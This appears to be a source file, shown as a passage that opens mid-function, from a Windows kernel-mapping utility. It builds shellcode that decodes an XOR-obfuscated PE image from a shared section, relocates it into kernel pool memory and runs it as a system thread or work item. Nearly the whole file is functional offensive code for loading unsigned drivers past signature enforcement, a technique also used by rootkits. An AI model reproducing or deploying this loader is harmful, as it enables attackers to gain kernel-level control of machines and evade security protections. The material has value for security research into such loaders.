WorkItem = (WORK_QUEUE_ITEM*)ShellCode->Import.ExAllocatePoolWithTag(NonPagedPool,
sizeof(WORK_QUEUE_ITEM),
ShellCode->Tag);
if (WorkItem) {
WorkItem->List.Flink = NULL;
WorkItem->Parameter = NULL;
WorkItem->WorkerRoutine = (PWORKER_THREAD_ROUTINE)(exbuffer + popth->AddressOfEntryPoint);
PayloadHeader->ExQueueWorkItem(WorkItem, DelayedWorkQueue);
//
// Save result.
//
PayloadHeader->IoStatus.Information = (ULONG_PTR)WorkItem;
PayloadHeader->IoStatus.Status = STATUS_SUCCESS;
}
//
// Block further IRP_MJ_CREATE requests.
//
DeviceObject->SectorSize = 512;
} //ExAllocatePoolWithTag(rawExAlloc)
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
pvSharedSection);
} //ZwMapViewOfSection(pvSharedSection)
ShellCode->Import.ObfDereferenceObject(SectionRef);
//
// Fire the event to let userland know that we're ready.
//
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
if (NT_SUCCESS(status))
{
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
}
} // ObReferenceObjectByHandle success
}
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
/*
* ScDispatchRoutineV1
*
* Purpose:
*
* Bootstrap shellcode variant 1.
* Read image from shared section, process relocs and run it in allocated system thread.
*
* IRQL: PASSIVE_LEVEL
*
*/
NTSTATUS NTAPI ScDispatchRoutineV1(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp,
_In_ PSHELLCODE ShellCode)
{
NTSTATUS status;
ULONG isz;
HANDLE hThread;
OBJECT_ATTRIBUTES obja;
ULONG_PTR img, exbuffer;
PIO_STACK_LOCATION StackLocation;
PIMAGE_DOS_HEADER dosh;
PIMAGE_FILE_HEADER fileh;
PIMAGE_OPTIONAL_HEADER popth;
PIMAGE_BASE_RELOCATION rel;
DWORD_PTR delta;
LPWORD chain;
DWORD c, rsz, k, off;
PUCHAR ptr;
PKEVENT ReadyEvent;
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
SIZE_T ViewSize;
POBJECT_TYPE* ppSecType;
PPAYLOAD_HEADER_V1 PayloadHeader;
#ifdef ENABLE_DBGPRINT
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
#endif
#ifdef _DEBUG
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
#else
StackLocation = IoGetCurrentIrpStackLocation(Irp);
#endif
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
&& (DeviceObject->SectorSize == 0))
{
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
status = ShellCode->Import.ObReferenceObjectByHandle(
ShellCode->SectionHandle,
SECTION_ALL_ACCESS,
(ppSecType ? *ppSecType : NULL),
0,
(PVOID*)&SectionRef,
NULL);
if (NT_SUCCESS(status)) {
ViewSize = ShellCode->SectionViewSize;
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
NtCurrentProcess(),
(PVOID*)&pvSharedSection,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
0,
PAGE_READWRITE);
if (NT_SUCCESS(status)) {
k = ShellCode->Tag;
PayloadHeader = (PAYLOAD_HEADER_V1*)pvSharedSection;
rsz = PayloadHeader->ImageSize;
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
while (rsz--) {
*ptr ^= k;
k = _rotl(k, 1);
ptr++;
}
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
dosh = (PIMAGE_DOS_HEADER)img;
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
isz = popth->SizeOfImage;
//
// Allocate memory for mapped image.
//
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
NonPagedPool,
isz + PAGE_SIZE,
ShellCode->Tag);
if (rawExAlloc) {
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
delta = exbuffer - popth->ImageBase;
//
// Relocate image.
//
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (off && rsz && off + rsz <= isz) {
rel = (PIMAGE_BASE_RELOCATION)(img + off);
c = 0;
while (c < rsz) {
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
}
c += rel->SizeOfBlock;
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
}
}
}
//
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
//
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
//
// Create system thread with handler set to image entry point.
//
hThread = NULL;
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
status = PayloadHeader->PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL,
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL);
if (NT_SUCCESS(status))
PayloadHeader->ZwClose(hThread);
//
// Save result.
//
PayloadHeader->IoStatus.Status = status;
//
// Block further IRP_MJ_CREATE requests.
//
DeviceObject->SectorSize = 512;
} //ExAllocatePoolWithTag(rawExAlloc)
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
pvSharedSection);
} //ZwMapViewOfSection(pvSharedSection)
ShellCode->Import.ObfDereferenceObject(SectionRef);
//
// Fire the event to let userland know that we're ready.
//
status = ShellCode->Import.ObReferenceObjectByHandle(ShellCode->ReadyEventHandle,
SYNCHRONIZE | EVENT_MODIFY_STATE, NULL, 0, (PVOID*)&ReadyEvent, NULL);
if (NT_SUCCESS(status))
{
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
}
} // ObReferenceObjectByHandle success
}
ShellCode->Import.IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//
// In case if MSVC trashes shellcode and you turned off optimization re-enable it here #pragma optimize("", on )
//
typedef NTSTATUS(NTAPI* pfnScDispatchRoutine)(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp,
_In_ PVOID ShellCode);
typedef VOID(NTAPI* pfnScLoaderRoutine)(
_In_ PVOID ShellCode);
/*
* ScDispatchRoutineDebugSelector
*
* Purpose:
*
* Run shellcode according to version during debug.
*
*/
NTSTATUS NTAPI ScDispatchRoutineDebugSelector(
_In_ ULONG ScVersion,
_In_ PVOID ScBuffer,
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp)
{
union {
pfnScDispatchRoutine DispatchRoutine;
pfnScLoaderRoutine LoaderRoutine;
} Routine;
switch (ScVersion) {
case KDU_SHELLCODE_V4:
Routine.LoaderRoutine = (pfnScLoaderRoutine)ScLoaderRoutineV1;
break;
case KDU_SHELLCODE_V3:
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV3;
break;
case KDU_SHELLCODE_V2:
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV2;
break;
case KDU_SHELLCODE_V1:
default:
Routine.DispatchRoutine = (pfnScDispatchRoutine)ScDispatchRoutineV1;
break;
}
switch (ScVersion) {
case KDU_SHELLCODE_V4:
Routine.LoaderRoutine(ScBuffer);
return STATUS_SUCCESS;
default:
return Routine.DispatchRoutine(DeviceObject, Irp, ScBuffer);
}
}
/*
* ScSizeOfProc
*
* Purpose:
*
* Very simplified. Return size of procedure when first ret meet.
*
*/
ULONG ScSizeOfProc(
_In_ PBYTE FunctionPtr)
{
ULONG c = 0;
UCHAR* p;
hde64s hs;
__try {
do {
p = FunctionPtr + c;
hde64_disasm(p, &hs);
if (hs.flags & F_ERROR)
break;
c += hs.len;
} while (*p != 0xC3);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return 0;
}
return c;
}
/*
* ScResolveFunctionByName
*
* Purpose:
*
* Get function address by it name.
*
*/
ULONG_PTR ScResolveFunctionByName(
_In_ ULONG_PTR KernelBase,
_In_ ULONG_PTR KernelImage,
_In_ LPCSTR Function)
{
ULONG_PTR Address = supGetProcAddress(KernelBase, KernelImage, Function);
if (Address == 0) {
supPrintfEvent(kduEventError,
"[!] Error, %s address cannot be found\r\n", Function);
return 0;
}
printf_s("[*] %s 0x%llX\r\n", Function, Address);
return Address;
}
/*
* ScGetViewSize
*
* Purpose:
*
* Return payload section view size.
*
*/
SIZE_T ScGetViewSize(
_In_ ULONG ScVersion,
_In_ PVOID ScBuffer
)
{
SIZE_T viewSize;
PSHELLCODE pvShellCode = (PSHELLCODE)ScBuffer;
switch (ScVersion) {
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V3:
case KDU_SHELLCODE_V2:
case KDU_SHELLCODE_V1:
default:
viewSize = pvShellCode->SectionViewSize;
break;
}
return viewSize;
}
/*
* ScSizeOf
*
* Purpose:
*
* Return shellcode/payload header size depending on shellcode version.
*
*/
DWORD ScSizeOf(
_In_ ULONG ScVersion,
_Out_opt_ PULONG PayloadSize
)
{
ULONG payloadSize;
if (PayloadSize) {
switch (ScVersion) {
case KDU_SHELLCODE_V3:
payloadSize = sizeof(PAYLOAD_HEADER_V3);
break;
case KDU_SHELLCODE_V2:
payloadSize = sizeof(PAYLOAD_HEADER_V2);
break;
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V1:
default:
payloadSize = sizeof(PAYLOAD_HEADER_V1);
break;
}
*PayloadSize = payloadSize;
}
return sizeof(SHELLCODE);
}
/*
* ScBuildShellImportDebug
*
* Purpose:
*
* Retrieve pointers for shellcode version independent part for Debug mode.
*
*/
BOOL ScBuildShellImportDebug(
_In_ ULONG ScVersion,
_In_ PVOID ScBuffer
)
{
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
switch (ScVersion) {
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V3:
case KDU_SHELLCODE_V2:
case KDU_SHELLCODE_V1:
default:
#ifdef ENABLE_DBGPRINT
ShellCode->Import.DbgPrint = DbgPrintTest;
#endif
ShellCode->Import.ExAllocatePoolWithTag = &ExAllocatePoolWithTagTest;
ShellCode->Import.ZwMapViewOfSection = &NtMapViewOfSection;
ShellCode->Import.ZwUnmapViewOfSection = &NtUnmapViewOfSection;
ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest;
ShellCode->Import.KeSetEvent = &KeSetEventTest;
ShellCode->Import.ObReferenceObjectByHandle = &ObReferenceObjectByHandleTest;
ShellCode->Import.ObfDereferenceObject = &ObfDereferenceObjectTest;
g_DummyULONG64 = 0;
ShellCode->MmSectionObjectType = &g_DummyULONG64;
break;
}
return TRUE;
}
/*
* ScBuildShellImport
*
* Purpose:
*
* Retrieve pointers for shellcode version independent part.
*
*/
BOOL ScBuildShellImport(
_In_ ULONG ScVersion,
_In_ PVOID ScBuffer,
_In_ ULONG_PTR KernelBase,
_In_ ULONG_PTR KernelImage
)
{
BOOL bResolved = FALSE;
ULONG i;
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
#ifdef ENABLE_DBGPRINT
pfnDbgPrint DbgPrintPtr;
#endif
PVOID MmSectionObjectTypePtr;
PVOID funcPtrs[MAX_BASE_SCIMPORTS_NODBGPRINT];
LPCSTR funcNames[MAX_BASE_SCIMPORTS_NODBGPRINT] = {
"ExAllocatePoolWithTag",
"IofCompleteRequest",
"ZwMapViewOfSection",
"ZwUnmapViewOfSection",
"ObReferenceObjectByHandle",
"ObfDereferenceObject",
"KeSetEvent"
};
UNREFERENCED_PARAMETER(ScVersion);
do {
#ifndef ENABLE_DBGPRINT
#pragma warning(push)
#pragma warning(disable: 4127)
if (sizeof(ShellCode->Import) != sizeof(funcPtrs))
break;
#pragma warning(pop)
#endif
MmSectionObjectTypePtr =
(PVOID)ScResolveFunctionByName(KernelBase, KernelImage, "MmSectionObjectType");
ASSERT_RESOLVED_FUNC(MmSectionObjectTypePtr);
ShellCode->MmSectionObjectType = MmSectionObjectTypePtr;
#ifdef ENABLE_DBGPRINT
DbgPrintPtr =
(pfnDbgPrint)ScResolveFunctionByName(KernelBase, KernelImage, "DbgPrint");
ASSERT_RESOLVED_FUNC(DbgPrintPtr);
ShellCode->Import.DbgPrint = DbgPrintPtr;
#endif
for (i = 0; i < RTL_NUMBER_OF(funcNames); i++) {
funcPtrs[i] = (PVOID)ScResolveFunctionByName(KernelBase, KernelImage, funcNames[i]);
ASSERT_RESOLVED_FUNC(funcPtrs[i]);
}
#ifdef ENABLE_DBGPRINT
PUCHAR funcPtr = (PUCHAR)&ShellCode->Import + sizeof(PVOID);
RtlCopyMemory(funcPtr, funcPtrs, sizeof(funcPtrs));
#else
RtlCopyMemory(&ShellCode->Import, funcPtrs, sizeof(funcPtrs));
#endif
bResolved = TRUE;
} while (FALSE);
return bResolved;
}
/*
* ScCreateReadyEvent
*
* Purpose:
*
* Create synchronization event and store value it in shellcode.
*
*/
HANDLE ScCreateReadyEvent(
_In_ ULONG ScVersion,
_In_ PVOID ScBuffer
)
{
HANDLE hReadyEvent;
SHELLCODE* ShellCode = (SHELLCODE*)ScBuffer;
hReadyEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
switch (ScVersion) {
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V3:
case KDU_SHELLCODE_V2:
case KDU_SHELLCODE_V1:
default:
ShellCode->ReadyEventHandle = hReadyEvent;
break;
}
return hReadyEvent;
}
/*
* ScStoreVersionSpecificData
*
* Purpose:
*
* Store version specific data in the shared section part.
*
*/
BOOLEAN ScStoreVersionSpecificData(
_In_ PKDU_CONTEXT Context,
_In_ PVOID PayloadPtr
)
{
union {
union {
PAYLOAD_HEADER_V1* v1;
PAYLOAD_HEADER_V2* v2;
PAYLOAD_HEADER_V3* v3;
} Version;
PVOID Ref;
} pvPayloadHead;
FIXED_UNICODE_STRING regPath, drvName;
LPWSTR lpRegistryEntryName;
pvPayloadHead.Ref = PayloadPtr;
switch (Context->ShellVersion) {
case KDU_SHELLCODE_V3:
//
// Build driver name and registry path for shellcode.
//
if (Context->DriverObjectName.Length == 0)
return FALSE;
//
// Build driver name in ObManager format.
//
RtlSecureZeroMemory(&drvName, sizeof(drvName));
StringCchPrintf(drvName.Buffer, MAX_PATH,
L"%ws%ws",
OB_DRIVER_PREFIX,
Context->DriverObjectName.Buffer);
drvName.Length = (USHORT)(_strlen(drvName.Buffer) * sizeof(WCHAR));
drvName.MaximumLength = drvName.Length + sizeof(WCHAR);
drvName.Buffer[drvName.Length / sizeof(WCHAR)] = UNICODE_NULL;
RtlCopyMemory(&pvPayloadHead.Version.v3->ObjectName,
&drvName,
sizeof(FIXED_UNICODE_STRING));
if (Context->DriverRegistryPath.Length == 0) {
//
// Registry name not provided, assume it is the same as driver object name.
//
lpRegistryEntryName = Context->DriverObjectName.Buffer;
}
else {
lpRegistryEntryName = Context->DriverRegistryPath.Buffer;
}
StringCchPrintf(regPath.Buffer, MAX_PATH,
L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws",
lpRegistryEntryName);
regPath.Length = (USHORT)(_strlen(regPath.Buffer) * sizeof(WCHAR));
regPath.MaximumLength = regPath.Length + sizeof(WCHAR);
regPath.Buffer[regPath.Length / sizeof(WCHAR)] = UNICODE_NULL;
RtlCopyMemory(&pvPayloadHead.Version.v3->RegistryPath,
&regPath,
sizeof(FIXED_UNICODE_STRING));
break;
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V2:
case KDU_SHELLCODE_V1:
//
// Nothing.
//
default:
break;
}
return TRUE;
}
/*
* ScFree
*
* Purpose:
*
* Release shellcode buffer memory.
*
*/
VOID ScFree(
_In_ PVOID ScBuffer,
_In_ ULONG ScSize
)
{
supFreeLockedMemory(ScBuffer, ScSize);
}
/*
* ScBuildInitCodeForVersion
*
* Purpose:
*
* Store init code for shellcode version specific.
*
*/
BOOL ScBuildInitCodeForVersion(
_In_ ULONG ShellVersion,
_In_ PSHELLCODE pvShellCode
)
{
PVOID pvInitCode;
ULONG initSize = 0;
//
// Fill entire init code with int 3
//
RtlFillMemory(pvShellCode->InitCode, sizeof(pvShellCode->InitCode), 0xCC);
//
// Select and copy code.
//
pvInitCode = ScGetBootstrapLdr(ShellVersion, &initSize);
if (initSize > sizeof(pvShellCode->InitCode)) {
return FALSE;
}
RtlCopyMemory(pvShellCode->InitCode, pvInitCode, initSize);
return TRUE;
}
/*
* ScAllocate
*
* Purpose:
*
* Allocate main shellcode buffer in memory, setup init code and import which is not version specific.
*
*/
PVOID ScAllocate(
_In_ ULONG ShellVersion,
_In_ HANDLE SectionHandle,
_In_ SIZE_T SectionViewSize,
_In_ ULONG_PTR KernelImage,
_In_ ULONG_PTR KernelBase,
_In_ ULONG MemoryTag,
_Out_ PULONG ShellSize
)
{
DWORD scSize;
PSHELLCODE pvShellCode = NULL;
PVOID pvBootstrap;
PBYTE procPtr = NULL;
ULONG procSize, bootstrapSize;
*ShellSize = 0;
bootstrapSize = BOOTSTRAPCODE_SIZE_V1;
scSize = ScSizeOf(ShellVersion, NULL);
switch (ShellVersion) {
case KDU_SHELLCODE_V4:
procPtr = (PBYTE)ScLoaderRoutineV1;
break;
case KDU_SHELLCODE_V3:
procPtr = (PBYTE)ScDispatchRoutineV3;
break;
case KDU_SHELLCODE_V2:
procPtr = (PBYTE)ScDispatchRoutineV2;
break;
case KDU_SHELLCODE_V1:
default:
procPtr = (PBYTE)ScDispatchRoutineV1;
break;
}
procSize = ScSizeOfProc(procPtr);
if (procSize > bootstrapSize) {
supPrintfEvent(kduEventError,
"[!] Bootstrap code size 0x%lX exceeds limit 0x%lX, abort\r\n",
procSize,
bootstrapSize);
#ifndef _DEBUG
return NULL;
#endif
}
pvShellCode = (SHELLCODE*)supAllocateLockedMemory(scSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
return NULL;
pvBootstrap = pvShellCode->BootstrapCode;
switch (ShellVersion) {
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V3:
case KDU_SHELLCODE_V2:
case KDU_SHELLCODE_V1:
default:
pvShellCode->Tag = MemoryTag;
pvShellCode->SectionHandle = SectionHandle;
pvShellCode->SectionViewSize = SectionViewSize;
break;
}
//
// Build initial loader code part.
//
if (!ScBuildInitCodeForVersion(ShellVersion, pvShellCode)) {
ScFree(pvShellCode, scSize);
return NULL;
}
#ifdef _DEBUG
UNREFERENCED_PARAMETER(KernelBase);
UNREFERENCED_PARAMETER(KernelImage);
//
// Remember function pointers.
//
ScBuildShellImportDebug(ShellVersion, pvShellCode);
//
// Shellcode test, unused in Release build.
//
DEVICE_OBJECT devObject;
DRIVER_OBJECT drvObject;
IRP tempIrp;
RtlSecureZeroMemory(&tempIrp, sizeof(tempIrp));
RtlSecureZeroMemory(&devObject, sizeof(devObject));
RtlSecureZeroMemory(&drvObject, sizeof(DRIVER_OBJECT));
devObject.SectorSize = 0;
devObject.DriverObject = &drvObject;
drvObject.MajorFunction[IRP_MJ_PNP] = (PVOID)0x0BADBEFF1CEDC01A;
*ShellSize = procSize;
ScDispatchRoutineDebugSelector(ShellVersion, pvShellCode, &devObject, &tempIrp);
#else
printf_s("[+] Resolving base shellcode import\r\n");
if (!ScBuildShellImport(ShellVersion,
pvShellCode,
KernelBase,
KernelImage))
{
ScFree(pvShellCode, scSize);
supPrintfEvent(kduEventError,
"[!] Failed to resolve base shellcode import\r\n");
return NULL;
}
__try {
RtlCopyMemory(pvBootstrap, procPtr, procSize);
//supWriteBufferToFile((PWSTR)L"C:\\install\\out2.bin", pvBootstrap, procSize, FALSE, FALSE, NULL);
////((void(*)())ShellCode.Version.v1->InitCode)();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
ScFree(pvShellCode, scSize);
supPrintfEvent(kduEventError,
"[!] Exception during building shellcode, 0x%lX\r\n",
GetExceptionCode());
return NULL;
}
*ShellSize = procSize;
#endif
return pvShellCode;
}
/*
* ScCreateFixedUnicodeString
*
* Purpose:
*
* Create UNICODE_STRING with fixed maximum (FIXED_UNICODE_STRING_LENGTH) size buffer.
*
*/
BOOLEAN ScCreateFixedUnicodeString(
_Inout_ PFIXED_UNICODE_STRING DestinationString,
_In_ PCWSTR SourceString
)
{
ULONG cb;
cb = sizeof(UNICODE_NULL) + ((ULONG)_strlen(SourceString) * sizeof(WCHAR));
if (cb > FIXED_UNICODE_STRING_LENGTH * sizeof(WCHAR)) {
return FALSE;
}
else {
RtlCopyMemory(DestinationString->Buffer, SourceString, cb);
DestinationString->Length = (USHORT)(cb - sizeof(UNICODE_NULL));
DestinationString->MaximumLength = (USHORT)cb;
return TRUE;
}
}
/*
* ScResolveImportForPayload
*
* Purpose:
*
* Resolve ntoskrnl import specific for payload per version.
*
*/
BOOLEAN ScResolveImportForPayload(
_In_ ULONG ShellVersion,
_In_ PVOID PayloadHead,
_In_ ULONG_PTR KernelImage,
_In_ ULONG_PTR KernelBase
)
{
union {
union {
PAYLOAD_HEADER_V1* v1;
PAYLOAD_HEADER_V2* v2;
PAYLOAD_HEADER_V3* v3;
} Version;
PVOID Ref;
} pvPayloadHead;
pfnZwClose ZwClosePtr;
pfnExQueueWorkItem ExQueueWorkItemPtr;
pfnPsCreateSystemThread PsCreateSystemThreadPtr;
PVOID IoDriverObjectTypePtr;
pfnObCreateObject ObCreateObjectPtr;
pfnObInsertObject ObInsertObjectPtr;
pfnObMakeTemporaryObject ObMakeTemporaryObjectPtr;
pfnZwMakeTemporaryObject ZwMakeTemporaryObjectPtr;
#ifdef _DEBUG
UNREFERENCED_PARAMETER(KernelBase);
UNREFERENCED_PARAMETER(KernelImage);
#endif
pvPayloadHead.Ref = PayloadHead;
switch (ShellVersion) {
case KDU_SHELLCODE_V3:
#ifdef _DEBUG
g_DummyULONG64 = 0;
IoDriverObjectTypePtr = &g_DummyULONG64;
ObCreateObjectPtr = ObCreateObjectTest;
ObInsertObjectPtr = ObInsertObjectTest;
ObMakeTemporaryObjectPtr = ObMakeTemporaryObjectTest;
ZwMakeTemporaryObjectPtr = ZwMakeTemporaryObjectTest;
ZwClosePtr = ZwCloseTest;
#else
IoDriverObjectTypePtr =
(PVOID)ScResolveFunctionByName(KernelBase, KernelImage, "IoDriverObjectType");
ASSERT_RESOLVED_FUNC_ABORT(IoDriverObjectTypePtr);
ObCreateObjectPtr =
(pfnObCreateObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObCreateObject");
ASSERT_RESOLVED_FUNC_ABORT(ObCreateObjectPtr);
ObInsertObjectPtr =
(pfnObInsertObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObInsertObject");
ASSERT_RESOLVED_FUNC_ABORT(ObInsertObjectPtr);
ObMakeTemporaryObjectPtr =
(pfnObMakeTemporaryObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObMakeTemporaryObject");
ASSERT_RESOLVED_FUNC_ABORT(ObMakeTemporaryObjectPtr);
ZwMakeTemporaryObjectPtr =
(pfnZwMakeTemporaryObject)ScResolveFunctionByName(KernelBase, KernelImage, "ZwMakeTemporaryObject");
ASSERT_RESOLVED_FUNC_ABORT(ZwMakeTemporaryObjectPtr);
ZwClosePtr =
(pfnZwClose)ScResolveFunctionByName(KernelBase, KernelImage, "ZwClose");
ASSERT_RESOLVED_FUNC_ABORT(ZwClosePtr);
#endif
pvPayloadHead.Version.v3->IoDriverObjectType = IoDriverObjectTypePtr;
pvPayloadHead.Version.v3->ObCreateObject = ObCreateObjectPtr;
pvPayloadHead.Version.v3->ObInsertObject = ObInsertObjectPtr;
pvPayloadHead.Version.v3->ObMakeTemporaryObject = ObMakeTemporaryObjectPtr;
pvPayloadHead.Version.v3->ZwMakeTemporaryObject = ZwMakeTemporaryObjectPtr;
pvPayloadHead.Version.v3->ZwClose = ZwClosePtr;
break;
case KDU_SHELLCODE_V2:
#ifdef _DEBUG
ExQueueWorkItemPtr = ExQueueWorkItemTest;
#else
ExQueueWorkItemPtr =
(pfnExQueueWorkItem)ScResolveFunctionByName(KernelBase, KernelImage, "ExQueueWorkItem");
ASSERT_RESOLVED_FUNC_ABORT(ExQueueWorkItemPtr);
#endif
pvPayloadHead.Version.v2->ExQueueWorkItem = ExQueueWorkItemPtr;
break;
case KDU_SHELLCODE_V4:
case KDU_SHELLCODE_V1:
default:
#ifdef _DEBUG
ZwClosePtr = ZwCloseTest;
PsCreateSystemThreadPtr = PsCreateSystemThreadTest;
#else
ZwClosePtr =
(pfnZwClose)ScResolveFunctionByName(KernelBase, KernelImage, "ZwClose");
ASSERT_RESOLVED_FUNC_ABORT(ZwClosePtr);
PsCreateSystemThreadPtr =
(pfnPsCreateSystemThread)ScResolveFunctionByName(KernelBase, KernelImage, "PsCreateSystemThread");
ASSERT_RESOLVED_FUNC_ABORT(PsCreateSystemThreadPtr);
#endif
pvPayloadHead.Version.v1->PsCreateSystemThread = PsCreateSystemThreadPtr;
pvPayloadHead.Version.v1->ZwClose = ZwClosePtr;
break;
}
return TRUE;
}